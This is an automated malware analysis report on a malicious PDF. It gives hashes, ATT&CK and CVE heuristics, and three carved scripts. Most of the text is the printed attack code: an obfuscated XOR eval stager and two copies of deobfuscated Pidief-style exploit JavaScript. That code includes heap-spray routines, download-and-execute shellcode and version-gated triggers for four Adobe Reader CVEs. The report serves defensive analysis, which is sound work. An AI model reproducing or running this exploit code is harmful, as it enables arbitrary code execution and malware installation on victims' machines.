Malicious PDF — malware analysis report

Static analysis result for SHA-256 d0b3a22a84fb728f…

MALICIOUS

PDF

6.6 KB First seen: 2026-05-10
MD5: 1704d2d08983519a179b6c266917bfa1 SHA-1: 86c53ffbc839dac3a553cad464bf778fa7581fbb SHA-256: d0b3a22a84fb728fe09593151f7f00e721349ff69fa168d2761045e1fb1ea079
448 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains multiple heuristic firings indicating embedded and obfuscated JavaScript, specifically a 'Page-word XOR JavaScript eval stager'. This suggests the document's primary purpose is to execute malicious JavaScript. The extracted document body text appears to be filler or potentially part of a social engineering lure, but the core malicious functionality is driven by the embedded script. The script's intent is to download and execute a second-stage payload, though the exact URL or execution method is obfuscated within the script itself.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 10

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • Page-word XOR JavaScript eval stager high PDF_PAGE_WORD_XOR_EVAL_STAGER
    PDF JavaScript enumerates rendered page words with getPageNthWord/getPageNumWords, extracts encoded byte fragments, XOR-decodes the stage with char-code helpers, and evals the result. This is an old exploit-kit staging pattern and is not normal document JavaScript.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0018_000.js pdf-javascript-stream PDF /JS object 18 at offset 0x14F2 1021 bytes
SHA-256: 64dbb1b26294330f72a9c5b7a7778b4e255c7b7609626eddfee2e06a530f4473
Preview script
First 1,000 lines of the extracted script
this.d=false;var iZ=[];var dQ=new String("unes"+"capevYfM".substr(0,4));var oZ=new String("getPa"+"geNth"+"Word");var kB=["yP","xMJ"];var pG=["wJ","xI"];var zWF=String("ehBfromC".substr(3)+"VmUharCo".substr(3)+"deILmB".substr(0,2));h={};var jA=3;var oF=["rA","qT","zW"];var aH="FT6getPa".substr(3)+"geNum"+"0kzWordsk0z".substr(3,5);var zM=["x"];var zA=String;try {var xG='n'} catch(xG){};var iP=222;var bM=String("keXchar".substr(3)+"Code"+"At6glq".substr(0,2));;var qDK=["a","p","","p"];cF=new String(qDK[0]+qDK[1]+qDK[1]+qDK[2]);var pO=["e","a","v","","l"];eD=new String(pO[0]+pO[2]+pO[1]+pO[4]+pO[3]);;var rI=String("GWg%".substr(3));var aP=new String("glDsub".substr(3)+"str");var v=new String();var rQ=937202-937202;function yB(zE,kR,lC,wZ,f){return zE^kR;};var zC=4375-4373;var mD=this;var vO=5502-5501;;var sF=mD[aH](jA);var cF=mD[cF];var vU=mD[dQ];var mH=mD[eD];for(var vC=rQ;vC<sF;vC+=vO){qL=mD[oZ](jA,vC);var nK=qL[aP](qL.length-zC,zC);var yF=vU(rI+nK);var pQ=yF[bM](rQ);var iV=yB(pQ,iP);v+=zA[zWF](iV);}mH(v);
legacy_pdfkit_stage_000.js deobfuscated-js getPageWords-XOR Pidief stage normalized at offset 0x0 3776 bytes
SHA-256: 9d7b25a98a9b7ca85a3a94036105cf351dd7ebc01bb5bb97961b7e681c1d7e8b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
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	var src_table = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890/.:_-?&=%';
	var dest_table= 'JQ2cS-uPHtBa/gCNDfU6Ej:lwxnM1L0k&sOI9imTpqXbd3GA%?0WY48y_V.ZvrRFe7zhKo5=';

var hwTl9Dn = new Array();  

function get_shellcode(name) {

	var u = get_url();
	u = for_unescape(u);

	var s = "%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455";
	s+= u;
	return unescape(s);
}


function get_url(){ 
	var str = this.info.author;
	var ret = encode_str(str, dest_table, src_table);
	return ret;
};


function encode_str(str, src_table, dest_table){

	var ret="";
	for(var i=0; i < str.length; i++)
	{
		var index = src_table.indexOf(str[i]);
		if(index > -1 )
		{
			ret += dest_table[index];
		}
	}

	return ret;
};


function for_unescape(str)
{
	var out = "";

    str = bin2hex(str);
    g = Math.round(str.length / 4);
	if (g != str.length /4) str+="00";

	for(var i=0; i < str.length; i+=4)
	{
		out+="%u" + str.substr(i+2, 2) + str.substr(i, 2);
	}

	return out;	
}


function bin2hex (s){

    var i, f = 0, a = [];
    
    s += '';
    f = s.length;
    
    for (i = 0; i<f; i++) {
        a[i] = s.charCodeAt(i).toString(16).replace(/^([\da-f])$/,"0$1").toUpperCase();
    }
    
    return a.join('');
}



function Rq4v1qCC(PDrScZj4, ez5pL6){    

	while (PDrScZj4.length * 2 < ez5pL6){      
		PDrScZj4 += PDrScZj4;    
	}    

	PDrScZj4 = PDrScZj4.substring(0, ez5pL6 / 2);    return PDrScZj4;  
}  

function x8EvTm(I7T0vko5){  

	var qPBt7D = 0x0c0c0c0c;        

	NRjjR6W6 = get_shellcode("pdf");

	if (I7T0vko5 == 1){qPBt7D = 0x30303030;}

	var FeQq1Vv = 0x400000;   
	var tsSzSc = NRjjR6W6.length * 2;    var ez5pL6 = FeQq1Vv - (tsSzSc + 0x38);    
	var PDrScZj4 = unescape("%u9090%u9090");    

	PDrScZj4 = Rq4v1qCC(PDrScZj4, ez5pL6);    

	var x62RaBM3 = (qPBt7D - 0x400000) / FeQq1Vv;    

	for (var Ojafoj = 0; Ojafoj < x62RaBM3; Ojafoj ++ ){    
		hwTl9Dn[Ojafoj] = PDrScZj4 + NRjjR6W6;    
	}
}  

function U2UcYKr(){   

var IyIFVe = app.viewerVersion.toString();          

	if (IyIFVe > 8)
	{
		x8EvTm(1);
		var iVvCdy8 = "12999999999999999999";          

		for (RvU5gmOE = 0; RvU5gmOE < 276; RvU5gmOE ++ )
		{
			iVvCdy8 += "8";   
		}

		util.printf("%45000f", iVvCdy8);      
	}


if (IyIFVe < 8){

	x8EvTm(0);    
	var UNXaCTHb = unescape("%u0c0c%u0c0c");    

	while (UNXaCTHb.length < 44952) UNXaCTHb += UNXaCTHb;    

	this .collabStore = Collab.collectEmailInfo({        subj : "", msg : UNXaCTHb});      
}       

if (IyIFVe < 9.1){

	if (app.doc.Collab.getIcon)
	{
		x8EvTm(0); 
        var eGREUTNw = unescape("%09");          
		while (eGREUTNw.length < 0x4000)eGREUTNw += eGREUTNw;

		eGREUTNw = "N." + eGREUTNw;    

		app.doc.Collab.getIcon(eGREUTNw);   
	}
}   
if (IyIFVe == 9.2){        
	x8EvTm(1);              
	var sf="1.000000000.000000000.1337 : 3.13.37";
	util.printd(sf, new Date());           
	try {	
		media.newPlayer(null);              
	} catch(e) {}
	util.printd(sf, new Date());
}

}

U2UcYKr();

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legacy_pdfkit_stage_001.js deobfuscated-js getPageWords-XOR Pidief stage normalized at offset 0x0 3780 bytes
SHA-256: bb624d1467c3513be2139569e8a30c7010e5bae1a45e68e0434285654c897f5f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
0ps p p333s s  p  p d u du
	var src_table = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890/.:_-?&=%';
	var dest_table= 'JQ2cS-uPHtBa/gCNDfU6Ej:lwxnM1L0k&sOI9imTpqXbd3GA%?0WY48y_V.ZvrRFe7zhKo5=';

var hwTl9Dn = new Array();  

function get_shellcode(name) {

	var u = get_url();
	u = for_unescape(u);

	var s = "%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455";
	s+= u;
	return unescape(s);
}


function get_url(){ 
	var str = this.info.author;
	var ret = encode_str(str, dest_table, src_table);
	return ret;
};


function encode_str(str, src_table, dest_table){

	var ret="";
	for(var i=0; i < str.length; i++)
	{
		var index = src_table.indexOf(str[i]);
		if(index > -1 )
		{
			ret += dest_table[index];
		}
	}

	return ret;
};


function for_unescape(str)
{
	var out = "";

    str = bin2hex(str);
    g = Math.round(str.length / 4);
	if (g != str.length /4) str+="00";

	for(var i=0; i < str.length; i+=4)
	{
		out+="%u" + str.substr(i+2, 2) + str.substr(i, 2);
	}

	return out;	
}


function bin2hex (s){

    var i, f = 0, a = [];
    
    s += '';
    f = s.length;
    
    for (i = 0; i<f; i++) {
        a[i] = s.charCodeAt(i).toString(16).replace(/^([\da-f])$/,"0$1").toUpperCase();
    }
    
    return a.join('');
}



function Rq4v1qCC(PDrScZj4, ez5pL6){    

	while (PDrScZj4.length * 2 < ez5pL6){      
		PDrScZj4 += PDrScZj4;    
	}    

	PDrScZj4 = PDrScZj4.substring(0, ez5pL6 / 2);    return PDrScZj4;  
}  

function x8EvTm(I7T0vko5){  

	var qPBt7D = 0x0c0c0c0c;        

	NRjjR6W6 = get_shellcode("pdf");

	if (I7T0vko5 == 1){qPBt7D = 0x30303030;}

	var FeQq1Vv = 0x400000;   
	var tsSzSc = NRjjR6W6.length * 2;    var ez5pL6 = FeQq1Vv - (tsSzSc + 0x38);    
	var PDrScZj4 = unescape("%u9090%u9090");    

	PDrScZj4 = Rq4v1qCC(PDrScZj4, ez5pL6);    

	var x62RaBM3 = (qPBt7D - 0x400000) / FeQq1Vv;    

	for (var Ojafoj = 0; Ojafoj < x62RaBM3; Ojafoj ++ ){    
		hwTl9Dn[Ojafoj] = PDrScZj4 + NRjjR6W6;    
	}
}  

function U2UcYKr(){   

var IyIFVe = app.viewerVersion.toString();          

	if (IyIFVe > 8)
	{
		x8EvTm(1);
		var iVvCdy8 = "12999999999999999999";          

		for (RvU5gmOE = 0; RvU5gmOE < 276; RvU5gmOE ++ )
		{
			iVvCdy8 += "8";   
		}

		util.printf("%45000f", iVvCdy8);      
	}


if (IyIFVe < 8){

	x8EvTm(0);    
	var UNXaCTHb = unescape("%u0c0c%u0c0c");    

	while (UNXaCTHb.length < 44952) UNXaCTHb += UNXaCTHb;    

	this .collabStore = Collab.collectEmailInfo({        subj : "", msg : UNXaCTHb});      
}       

if (IyIFVe < 9.1){

	if (app.doc.Collab.getIcon)
	{
		x8EvTm(0); 
        var eGREUTNw = unescape("%09");          
		while (eGREUTNw.length < 0x4000)eGREUTNw += eGREUTNw;

		eGREUTNw = "N." + eGREUTNw;    

		app.doc.Collab.getIcon(eGREUTNw);   
	}
}   
if (IyIFVe == 9.2){        
	x8EvTm(1);              
	var sf="1.000000000.000000000.1337 : 3.13.37";
	util.printd(sf, new Date());           
	try {	
		media.newPlayer(null);              
	} catch(e) {}
	util.printd(sf, new Date());
}

}

U2UcYKr();

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